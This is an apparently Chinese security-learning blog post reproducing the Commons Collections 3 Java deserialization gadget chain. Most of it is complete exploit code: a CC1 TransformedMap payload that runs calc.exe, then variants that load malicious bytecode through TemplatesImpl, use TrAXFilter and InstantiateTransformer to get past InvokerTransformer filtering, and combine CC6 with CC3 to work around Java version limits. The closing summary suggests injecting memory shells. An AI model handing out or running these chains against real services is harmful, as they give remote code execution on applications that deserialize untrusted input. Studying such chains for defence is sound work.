关于cc3复现以及绕过思路
(文章简略许多,可以的话,可以看看之前之前发布的文章)
绕过思路:动态加载字节码绕过Runtime,exec被过滤
在前面两个篇章中我们学习了cc1,cc6和动态加载字节码;
我们都知道ccl链大多都是调用链最终调用到transform函数,在这个函数的构造中我们知道必不可少的部分是反射获取Runtime函数;然后也使用InvokerTransformer函数执行;
如果exec,Runtime.class等函数被ban了呢?
那就不得不引入我么学过的动态加载字节码了;
先看demo;这是cc1的 TransformedMap,触发点是setvalue,使用AnnotationInvocationHandler中的setvalue,和checksetValue;
package org.com.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class CommonCollections3 {
public static void main(String[] args) {
//Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
如果这个payload中的InvokerTransformer被ban了,该如何触发
结合之前的动态加载字节码;我们尝试使用TemplatesImpl字节码
只需要将这两个poc拼接一下即可,然后替换反射获取Runtime的部分替换成获取newTransformer即可,完整payload
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0]),
/* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
但你会发现在cc3中没有使用 InvokerTransformer
假设过滤了InvokerTransformer,该如何绕过呢?
其实只需要找到其他实现了接口的类即可InvokerTransformer;在ysoserial使用了TrAXFilter;可以看到这里调用了newTransformer()

绕过思路:TrAXFilter绕过 InvokerTransformer
只需要改变Transformer[]为一下代码即可
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
由于我们不能用InvokerTransformer调用其构造函数,所以替换使用InstantiateTransformer,在 ChainedTransformer组合多个transform方法时会调用其中的transform方法,返回一个TrAXFilter.class对象;其实这个函数的作用就是调用类的构造方法

完整payload
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.xml.transform.Templates;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
/* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
但其实这只能是cc1的绕过版;不能解决java版本问题
这里再拼接一下cc6;
进行改进;
最终payload
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.xml.transform.Templates;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
/* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();//清空map
Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
// outtermap.put("1","1");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(expMap);
oss.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

;
总结:
绕过Runtime,exec等,这里使用动态加载字节码的形式;
绕过InvokerTransformer 这里使用:TrAXFilter类与InstantiateTransformer获取其构造器;
绕过版本限制,使用cc6+cc3形式;
事实上,针对不同的限制与过滤,可以进行多种多种不同的组合,比如说,命令执行的部分,或许可以替换成注入内存马的形式;
其实到目前为止,我们可以看到,其实反序列化步骤有3个部分;(链式调用)
1.注入
transform链,是要注入的主体,根据需要注入命令,字节码,内存马等我们要注入的恶意"指令";,也许可以利用加载远程的字节码;如RMI等(但字节码可以直接注入的情况下,一般考虑直接注入)
2.触发链
在这个版本(链式调用)中,这部分也可以理解为载荷,用以装载我们的"恶意指令"要利用的大都是调用了transform函数的类;我们,这里需要找到一条调用链进行组装;使其可以最后调用到transform函数;就比如各种cc链中的如LazyMap,TransformedMap等;
3.组合拳绕过
最重要的就是拼接和替换比如上诉例子中就使用了多种拼接进行绕过;动态加载字节码+cc6+TrAXFilter类,InstantiateTransformer绕过InvokerTransformer
最后要发散思维;java的反序列化很自由,可以进行多种组合,最终目的都是加载我们的"恶意指令";
因此我认为在java学习中;利用思维也很重要;这个让我们学会一种漏洞利用的思路,如何进行组装攻击路径;进行利用;
最后,学会独立思考;
----------------------备注--------------------------------
参考:p牛->知识星球->代码审计->java系列文章
posted on
浙公网安备 33010602011771号